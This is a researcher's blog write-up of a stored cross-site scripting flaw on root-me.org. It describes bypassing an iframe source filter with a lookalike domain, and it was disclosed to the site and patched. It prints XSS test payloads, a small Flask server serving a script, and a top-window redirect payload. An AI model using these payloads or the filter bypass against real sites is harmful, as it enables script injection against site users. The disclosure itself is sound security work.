keyboard_arrow_up

title: How I was able to rick roll every users on root-me.org
date: Mar 27, 2022
tags: Article Web


How I was able to rick roll every users on root-me.org



Introduction

Few weeks ago, I decided to try to find a vulnerability on the platform that taught me a lot in cybersecurity: Root-Me. In that way, I started to search in the input box which is used for the following:

input_box

Moreover, this input box is also special, it allows you to use HTML and custom text descriptor to render your input.


Recon

After trying a lot of different HTML element, I learnt the following :

Input:

<script>alert()</script>
<img src=x onerror="alert()">
<a href="javascript:alert()">XSS</a>

Ouput:

<code class="echappe-js">&lt;script&gt;alert()&lt;/script&gt;</code>
<p>
    <code class="echappe-js">&lt;img src=x onerror="alert()"&gt;</code>
    <br class="autobr">
    <a>XSS</a>
</p>
<iframe>

iframe01

With both information, an idea came to my mind. What if it was possible to embed a js file that I can control? I would be able to bypass all the restriction!

<iframe src="https://mizu.re/xss.js">

iframe02

Unfortunatly, the src attribute seems to be automatically removed. As a last try, I embed my own profile page.

<iframe src="https://www.root-me.org/Mizu">

iframe03

This time, the result was different, I achieve embedding the www.root-me.org domain, but csp seems to block us from rendering the page.

csp

However, it is important to notice that it is possible to render every site that we want. Then, finding a way to bypass filter on the back, will allow us to easily have an XSS.

frame-src http://* https://*


My first iframe

Having no possibility to embed the www.root-me.org domain due to the CSP, I started thinking that the filter was allowing me to embed only root-me.org origin. But after some tries, I figured out that I was wrong because it is not possible to iframe challenge01.root-me.org XSS challenges 👀

At this point, I had a lot of interesting things:

With that information, I understand something really important for the future tries : www.root-me.org domain must be used.

In order to verify my assumption, I embedded api.www.root-me.org:

<iframe src="https://api.www.root-me.org/">

iframe04


XSS

Well, I've got my first iframe, it seems to be nothing because I can't get an XSS on the api domain and you're right, but what if I could do the opposite ?

<iframe src="https://www.root-me.org.x/">

iframe05

Seeing that it worked, I immediately claimed www.root-me.org.mizu.re domain and start a flask server. (with https to avoid mixed content error)

from flask import Flask

# Create the APP
app = Flask(__name__)

# Home page
@app.route("/", methods=["GET"])
def index():
    return "<script>alert(document.domain)</script>"

if __name__ == "__main__":
    app.run("0.0.0.0", port=443, ssl_context=("cert/server.crt", 'cert/server.key'))
<iframe src="https://www.root-me.org.mizu.re/">

xss01

Et voila ! 🎉


Further tests

Immediately after finding the XSS, I've contacted @podalirius who helped me to make some tests and report the vulnerability.

xss02

xss03

As you can see, the vulnerability was impacting the most pages of the website. For example, an attacker could have used it to rick roll each person going to the www.root-me.org domain using:

<script>
    window.top.location = "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
</script>


Patch

After further researches from root-me team, the problem has been fixed by the following code patch:

patch

Sometimes, critical vulnerabilities can arise for a simple slash!


Thanks to Root Me for patching quickly the vulnerability and authorizing me to post this article!

report

badges

Thanks for reading! 👋